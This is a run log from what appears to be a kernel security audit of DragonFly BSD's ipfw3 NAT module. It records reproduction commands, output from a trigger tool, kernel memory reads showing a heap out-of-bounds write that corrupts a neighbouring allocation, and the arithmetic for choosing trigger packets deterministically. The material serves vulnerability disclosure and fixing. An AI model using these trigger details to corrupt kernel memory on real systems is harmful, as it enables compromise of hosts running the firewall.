⬢ DragonFlyBSD Kernel Audit
DF-3398 / run.log
← back to finding ↓ download raw
DF-3398 BASELINE (stock module) + diagnostic evidence — verbatim guest outputs
Guest: DragonFly 6.5-DEVELOPMENT, stock INVARIANTS kernel #0 (module rebuilt
from pristine source), 6 vCPU, QEMU vtnet0 10.0.2.15, gateway 10.0.2.2.

--- setup ---------------------------------------------------------------
# ipfw3 nat 1 config ip 10.0.2.15
# ipfw3 add 100 nat 1 icmp from any to any out via vtnet0
# /root/icmp_oob 5 0xfc 0x1fc 0x2fc 0x3fc | head -4
x=252(0x00fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64512 oob_slots=2 off_past_end=16
x=508(0x01fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64513 oob_slots=3 off_past_end=24
x=764(0x02fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64514 oob_slots=4 off_past_end=32
x=1020(0x03fc) src=204.203.0.1 dst=204.203.0.1 raw_idx=64515 oob_slots=5 off_past_end=40
(src/dst printed as inet_ntoa of the host-order u32; real packet src is
 1.0.203.204, dst is the solved per-x destination)

# ipfw3 show | head -2
00100    8    672 nat 1 icmp out via vtnet0        <- trigger packets matched NAT

--- /dev/kmem: qwords past each cpu's cfg_alias allocation end -----------
(ctx chain resolved via module symbol: ip_fw3_nat_ctx[cpu] -> nats[0] -> alias)
# for c in 0 1 2 3 4 5; do kcheck $c ... ; done
cpu0:  + 16: 0xfffff8004f1025c0   + 24: 0x0   + 32: 0x0
cpu1:  + 16: 0x000000000f02000a   + 24: 0x0   + 32: 0x0
cpu2:  + 16: 0x000000000f02000a   + 24: 0x0   + 32: 0x0
cpu3:  + 16: 0x000000000f02000a   + 24: 0x0   + 32: 0x0
cpu4:  + 16: 0x000000000f02000a   + 24: 0x0   + 32: 0x0
cpu5:  READ FAIL (alias at arena edge)

Interpretation:
* offset +16 past a cfg_alias allocation = the `ip` field (offset 16) of the
  NEXT cfg_alias in that cpu's kmem arena (verified: next@0=NULL,
  le_prev@8=<cfg_nat+8 pointer>, ip@16=0x0f02000a==10.0.2.15 network u32).
* cpus 1..4: neighbour ip intact (0x0f02000a).
* cpu0 (the cpu the stack picked for the raw ICMP flow): neighbour alias ip
  REPLACED by 0xfffff8004f1025c0 = an M_IPFW3_NAT heap pointer (struct
  nat_state2) -- the OOB store `alias->icmp_in[raw 64512] = s2` from the
  x=0xfc trigger. Cross-object heap corruption at the exact computed offset.

--- instrumented module (diagnostic build, not part of fix.diff) --------
kprintf in the ICMP case confirms which raw index the stock code uses:
# dmesg | grep NATDBG
NATDBG: icmp-state-case src=0100cbcc dst=8886ad51
NATDBG: icmp store idx=764 rawport=64514      <- raw index 64514 == OOB
NATDBG: icmp-state-case src=0100cbcc dst=0300c8f6
NATDBG: icmp store idx=1020 rawport=64515     <- raw index 64515 == OOB
(rawport is s->alias_port as stored by :310, i.e. the exact value the stock
 :326 store uses as icmp_in[] index; idx is the host-order residue.)

--- arithmetic note ------------------------------------------------------
x = (uint32_t)(src_host * dst_host) % 64511   -- the C product WRAPS mod 2^32
raw index = htons(x) = bswap16(x) on LE; OOB iff low byte of x >= 0xFC
(1012 of 64511 residues, ~1.57% of flows). The trigger brute-forces dst so
that x lands on the requested residue, making the OOB slot deterministic.